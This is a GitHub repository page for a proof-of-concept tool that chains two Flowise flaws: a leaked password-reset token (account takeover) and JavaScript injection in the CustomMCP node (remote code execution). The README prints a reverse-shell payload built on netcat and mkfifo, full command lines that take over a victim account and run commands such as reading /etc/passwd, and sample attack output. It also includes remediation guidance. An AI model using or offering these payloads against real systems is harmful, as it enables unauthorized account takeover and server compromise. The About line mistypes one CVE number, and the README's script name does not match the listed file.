Skip to content

kartik2005221/CVE-2025-58434-AND-59528-POC

BranchesTags

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

4 Commits
DISCLAIMER.md
DISCLAIMER.md
 
 
README.md
README.md
 
 
main.py
main.py
 
 
requirements.txt
requirements.txt
 
 

Repository files navigation

Flowise Dual CVE PoC — CVE-2025-58434 + CVE-2025-59528

CVE-1 CVE-2 CVSS Python License

⚠️ For educational and authorized security research only.
Running this tool against systems you do not own or lack written permission to test is illegal.

Table of Contents

Overview

This repository combines two critical vulnerabilities in Flowise into a single, modular PoC tool.

CVE-2025-58434 CVE-2025-59528
Type Account Takeover Remote Code Execution
Auth Required None Yes (any valid account)
CVSS 9.8 Critical Critical
Affected Cloud + Self-hosted Self-hosted

The two vulnerabilities chain naturally: CVE-2025-58434 provides unauthenticated account takeover, which satisfies the authentication requirement for CVE-2025-59528 — achieving unauthenticated RCE in a single automated run.

Vulnerability Details

CVE-2025-58434 — Account Takeover

Root Cause: The forgot-password endpoint returns the password reset token (tempToken) directly in the HTTP response body instead of sending it only via email.

Attack Steps:

  1. POST /api/v1/account/forgot-password with any registered email
  2. Read tempToken from the JSON response — no email access needed
  3. POST /api/v1/account/reset-password with the leaked token → set a new password
  4. Log in as the victim

Leaked response (trimmed):

{
  "user": {
    "email": "admin@example.com",
    "tempToken": "LEAKED_TOKEN_HERE",
    "tokenExpiry": "2025-08-19T13:00:33.834Z",
    "status": "active"
  }
}

CVE-2025-59528 — Remote Code Execution

Root Cause: The CustomMCP node passes user-supplied mcpServerConfig directly to JavaScript's Function() constructor with no sanitization. Since Flowise runs in Node.js, injected code has full access to child_process, fs, and all Node.js built-ins.

Vulnerable code path:

POST /api/v1/node-load-method/customMCP
  -> convertToValidJSONString()
    -> Function('return ' + mcpServerConfig)()   ← unsanitized user input

Required headers:

Content-Type:   application/json
x-request-from: internal
Cookie:         token=<jwt>; refreshToken=<jwt>; connect.sid=<sid>

Default injection payload (reverse shell):

{
  "loadMethod": "listActions",
  "inputs": {
    "mcpServerConfig": "({x:(function(){const cp=process.mainModule.require(\"child_process\");cp.exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc LHOST LPORT >/tmp/f\");return \"shell_fired\";})()})"
  }
}

Note: Reverse shell payloads use cp.exec() (async / fire-and-forget) so the HTTP request returns immediately and the tool doesn't time out. Regular commands use cp.execSync() and return output inline.

Full Attack Chain

Attacker                              Flowise API
   │                                      │
   │  [CVE-2025-58434]                    │
   │  POST /forgot-password {email}       │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 { tempToken: "abc..." }         │  ← token leaked in response
   │                                      │
   │  POST /reset-password                │
   │  {email, tempToken, newPassword}     │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  201 OK (tempToken cleared)          │  ← ATO complete
   │                                      │
   │  [CVE-2025-59528]                    │
   │  POST /auth/login {email, newPass}   │
   │─────────────────────────────────────►│
   │◄─────────────────────────────────────│
   │  200 OK + Set-Cookie: token=...      │  ← cookies extracted
   │                                      │
   │  POST /node-load-method/customMCP    │
   │  {mcpServerConfig: <js-revshell>}    │
   │─────────────────────────────────────►│
   │                              [exec() fires in background]
   │◄─────────────────────────────────────│
   │  200 {"shell_fired"}                 │
   │                                      │
   Attacker's nc listener ←─────────────── Server connects back
   ✓  Full RCE from zero credentials

Affected Versions

Component Status
Flowise Cloud (cloud.flowiseai.com) Affected by CVE-2025-58434
Flowise self-hosted (all versions prior to patch) Affected by both CVEs

Check the official Flowise security advisories for patched release numbers.

Repository Structure

flowise-dual-cve-poc/
├── flowise_poc.py      # Main PoC — all modules + chain mode
├── requirements.txt    # Python dependencies
├── README.md           # This file
└── DISCLAIMER.md       # Full legal notice

Requirements

  • Python 3.7+
  • requests library

Installation

git clone https://github.com/yourhandle/flowise-dual-cve-poc
cd flowise-dual-cve-poc
pip install -r requirements.txt

Usage

Default Behaviour

No mode flag is required. If you run the script without --chain or --module, it automatically runs in full chain mode. The default RCE payload is a reverse shell — just supply --lhost and --lport.

# Minimal invocation — full chain + reverse shell
python3 flowise_poc.py \
  -u http://flowise.example.com \
  -e admin@example.com \
  --lhost 10.10.16.35 \
  --lport 4444

Start your listener before running:

nc -lvnp 4444

Help Screen

python3 flowise_poc.py -h

Chain Mode

Runs all four steps end-to-end: leak token → reset password → login → RCE.

# Reverse shell (default payload)
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e admin@example.com \
  --lhost 10.10.16.35 --lport 4444

# Custom command instead of reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e admin@example.com \
  -c "cat /etc/passwd"

# Custom ATO password + reverse shell
python3 flowise_poc.py --chain \
  -u http://flowise.example.com \
  -e admin@example.com \
  -p "MyCustomPass1!" \
  --lhost 10.10.16.35 --lport 9001

Module — ATO

Leak the tempToken and reset the account password. Stops before login/RCE.

# Default new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e victim@example.com

# Custom new password
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e victim@example.com \
  -p "NewPassword2025!"

# Print raw JSON response
python3 flowise_poc.py --module ato \
  -u http://flowise.example.com \
  -e victim@example.com --json-output

Module — Login

Authenticate and extract the three session cookies for manual use.

python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e admin@example.com \
  -P "password123"

# JSON output for scripting
python3 flowise_poc.py --module login \
  -u http://flowise.example.com \
  -e admin@example.com \
  -P "password123" --json-output

Module — RCE

Execute on the server. Auto-logins if --token is not given.

# Reverse shell — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e admin@example.com -P "password123" \
  --lhost 10.10.16.35 --lport 4444

# Custom command — auto-login
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  -e admin@example.com -P "password123" \
  -c "id"

# Manual token — reverse shell
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." \
  --lhost 10.10.16.35 --lport 4444

# All three cookies manually
python3 flowise_poc.py --module rce \
  -u http://flowise.example.com \
  --token "eyJhbGci..." \
  --refresh-token "eyJhbGci..." \
  --connect-sid "s%3A4rey2nuk..." \
  -c "ls /root"

Flag Reference

Mode (all optional — default is --chain)

Flag Description
--chain Full chain: ATO → Login → RCE
--module ato Account takeover only
--module login Login and extract cookies only
--module rce RCE only

Target

Flag Short Description Required
--url -u Base URL of Flowise instance Always
--email -e Target / login email Always

ATO Options

Flag Short Description Default
--new-password -p Password set on victim account after ATO Flowise@Pwn3d2025!

Auth Options

Flag Short Description
--login-password -P Password for login module / RCE auto-login
--token — Manually supply token cookie (skips login)
--refresh-token — Manually supply refreshToken cookie
--connect-sid — Manually supply connect.sid cookie

RCE Options

Flag Short Description Default
--lhost — Attacker IP for reverse shell —
--lport — Attacker port for reverse shell —
--command -c Custom OS command (overrides revshell) id if no lhost/lport

Misc

Flag Short Description Default
--timeout -t HTTP timeout (seconds) 15
--json-output -j Print raw JSON responses false

Reverse Shell vs Custom Command

The script automatically picks the right execution mode:

Scenario Payload used HTTP behaviour
--lhost + --lport (no -c) mkfifo netcat one-liner cp.exec() — async, returns immediately
-c "..." containing nc/mkfifo/bash -i detected as revshell cp.exec() — async, returns immediately
-c "id" or any other normal command user command cp.execSync() — blocks, returns output
no -c, no --lhost id cp.execSync() — blocks, returns output

Async execution means the HTTP request completes instantly — no timeout errors on reverse shell payloads.

Example Output

  [Step 1] [CVE-2025-58434] Requesting forgot-password token ...
  [*] HTTP 201
  ────────────────────────────────────────────────────────────────────
    LEAKED ACCOUNT DATA
  ────────────────────────────────────────────────────────────────────
  tempToken     : 28HYxS1UFqalMGMKVQeEdapifG0Mo...
  tokenExpiry   : 2026-04-13T05:14:17.621Z
  ────────────────────────────────────────────────────────────────────
  [+] VULNERABLE — token disclosed without authentication!

  [Step 2] [CVE-2025-58434] Resetting password → Flowise@Pwn3d2025!
  [*] HTTP 201
  [+] Password reset SUCCESSFUL (tempToken cleared)
  [+] Account takeover complete → ben@silentium.htb / Flowise@Pwn3d2025!

  [Step 3] [Auth] Logging in to extract session cookies ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    EXTRACTED SESSION COOKIES
  ────────────────────────────────────────────────────────────────────
  token           : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  refreshToken    : eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
  connect_sid     : s%3AGIjQFOoMQOpwioeZdmlruKL6VSQ1cePu...
  ────────────────────────────────────────────────────────────────────

  [Step 4] [CVE-2025-59528] Executing RCE via CustomMCP ...
  [*] HTTP 200
  ────────────────────────────────────────────────────────────────────
    RCE RESULT
  ────────────────────────────────────────────────────────────────────
  Mode    : Reverse Shell
  LHOST   : 10.10.16.35
  LPORT   : 4444
  [+] Reverse shell payload fired!
  [!] Waiting for connection on 10.10.16.35:4444 ...
  [!] Make sure your listener is running: nc -lvnp 4444
  ────────────────────────────────────────────────────────────────────
  [+] CHAIN COMPLETE

Remediation

For CVE-2025-58434

  • Never return tokens in API responses. Send the tempToken only via registered email.
  • Return a generic success message regardless of whether the email exists (prevents enumeration).
  • Make tokens single-use, short-lived (≤15 min), and tied to request context.
  • Rate-limit the forgot-password endpoint.

For CVE-2025-59528

  • Never pass user input to Function(), eval(), or vm.runInThisContext().
  • Parse mcpServerConfig as data only (e.g., JSON.parse()) — never execute it.
  • If dynamic evaluation is required, use an isolated sandbox with a restricted context.
  • Apply strict input validation and an allowlist of permitted configuration keys.

General

  • Patch both cloud and self-hosted deployments.
  • Enable logging and alerting on password reset and node-load-method endpoints.
  • Consider MFA for all admin accounts.

Disclosure Timeline

Date Event
2025-08-19 CVE-2025-58434 discovered and reported
TBD CVE-2025-59528 discovered and reported
TBD Vendor acknowledgement
TBD Patch released
TBD Public disclosure

References

Disclaimer

For educational purposes and authorized penetration testing only.
See DISCLAIMER.md for the full legal notice.

About

Combined PoC for CVE-2025-28434 and CVE-2025-59528

Topics

cybersecurity poc vulnerability-scanner remote-code-execution cve-exploit

Resources

Readme
Activity

Stars

13 stars

Watchers

0 watching

Forks

0 forks
Report repository

Contributors

Languages